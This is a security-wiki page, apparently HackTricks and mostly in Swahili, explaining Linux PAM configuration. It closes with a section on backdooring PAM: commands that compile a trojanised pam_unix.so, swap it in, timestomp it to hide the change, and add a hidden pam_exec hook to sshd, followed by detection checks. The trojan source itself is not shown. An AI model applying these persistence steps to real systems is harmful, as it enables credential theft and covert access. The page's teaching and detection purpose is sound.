PAM - Pluggable Authentication Modules

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Taarifa za Msingi

PAM (Pluggable Authentication Modules) inafanya kazi kama kifaa cha usalama kinachothibitisha utambulisho wa watumiaji wanaojaribu kupata huduma za kompyuta, kikidhibiti upatikanaji wao kulingana na vigezo mbalimbali. Ni sawa na mlindaji wa kidijitali, kuhakikisha kuwa watumiaji walioidhinishwa pekee ndio wanaoweza kutumia huduma maalum na pia kuweka vizingiti vya matumizi ili kuzuia mzigo mkubwa wa mfumo.

Faili za Usanidi

• Solaris and UNIX-based systems kawaida hutumia faili kuu la usanidi linalopatikana kwenye /etc/pam.conf.
• Linux systems zinapendelea njia ya saraka, zikihifadhi usanidi maalum kwa kila huduma ndani ya /etc/pam.d. Kwa mfano, faili la usanidi kwa huduma ya kuingia liko katika /etc/pam.d/login.

Mfano wa usanidi wa PAM kwa huduma ya kuingia unaweza kuonekana kama ifuatavyo:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

Maeneo ya Usimamizi ya PAM

Maeneo haya, au vikundi vya usimamizi, vinajumuisha auth, account, password, na session, kila kimojawapo kikiwa na jukumu tofauti katika mchakato wa uthibitishaji na usimamizi wa session:

• Auth: Inathibitisha utambulisho wa mtumiaji, mara nyingi kwa kumuuliza password.
• Account: Inashughulikia uhakiki wa akaunti, ikikagua vigezo kama uanachama wa kikundi au vikwazo vinavyotegemea wakati.
• Password: Inasimamia sasisho za password, ikiwa ni pamoja na ukaguzi wa ugumu au kuzuia mashambulizi ya kamusi.
• Session: Inasimamia vitendo wakati wa kuanzishwa au kumalizika kwa session ya huduma, kama vile mounting directories au kuweka mipaka ya rasilimali.

Udhibiti wa Moduli za PAM

Udhibiti huamua jinsi moduli itakavyojibu kwa mafanikio au kushindwa, na kuathiri mchakato mzima wa uthibitishaji. Hizi ni:

• Required: Kushindwa kwa moduli inayohitajika husababisha kushindikana mwishowe, lakini baada ya moduli zote za baadaye kukaguliwa.
• Requisite: Kumalizika mara moja kwa mchakato inaposhindikana.
• Sufficient: Mafanikio hubypass ukaguzi wa moduli nyingine za eneo hilo isipokuwa moduli iliyofuata ikishindwa.
• Optional: Husababisha kushindwa tu ikiwa ndiyo moduli pekee katika stack.

Mfano wa Muktadha

Katika usanidi wenye moduli nyingi za auth, mchakato unafuata mpangilio mkali. Ikiwa moduli ya pam_securetty itagundua terminal ya login kuwa haijaidhinishwa, root logins zitazuiliwa, lakini moduli zote bado zitapitia kutokana na hali yake ya “required”. pam_env inaweka environment variables, zinazoweza kuboresha uzoefu wa mtumiaji. Moduli pam_ldap na pam_unix hufanya kazi pamoja kuthibitisha mtumiaji, ambapo pam_unix inajaribu kutumia password iliyotolewa awali, ikiongeza ufanisi na unyumbufu katika njia za uthibitishaji.

Backdooring PAM – Hooking pam_unix.so

A classic persistence trick in high-value Linux environments is to swap the legitimate PAM library with a trojanised drop-in. Kwa sababu kila SSH / console login inakamilika kwa kuita pam_unix.so:pam_sm_authenticate(), mistari michache ya C inatosha kukamata credentials au kutekeleza magic password bypass.

Muhtasari wa Kujenga

</details>

Compile na stealth-replace:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

# 1) Spot alien PAM objects
find /{lib,usr/lib,usr/local/lib}{,64}/security -type f -printf '%p %s %M %u:%g %TY-%Tm-%Td\n' | grep -E 'pam_|libselinux'

# 2) Verify package integrity
command -v rpm >/dev/null && rpm -V pam || debsums -s libpam-modules

# 3) Identify non-packaged PAM modules
for f in /{lib,usr/lib,usr/local/lib}{,64}/security/*.so; do
dpkg -S "$f" >/dev/null 2>&1 || echo "UNPACKAGED: $f";
done

# 4) Look for stealth config edits
grep -R "pam_.*\.so" /etc/pam.d/ | grep -E 'plg|selinux|custom|exec'

# Prepend to /etc/pam.d/sshd
session optional pam_exec.so quiet /usr/local/bin/.ssh_hook.sh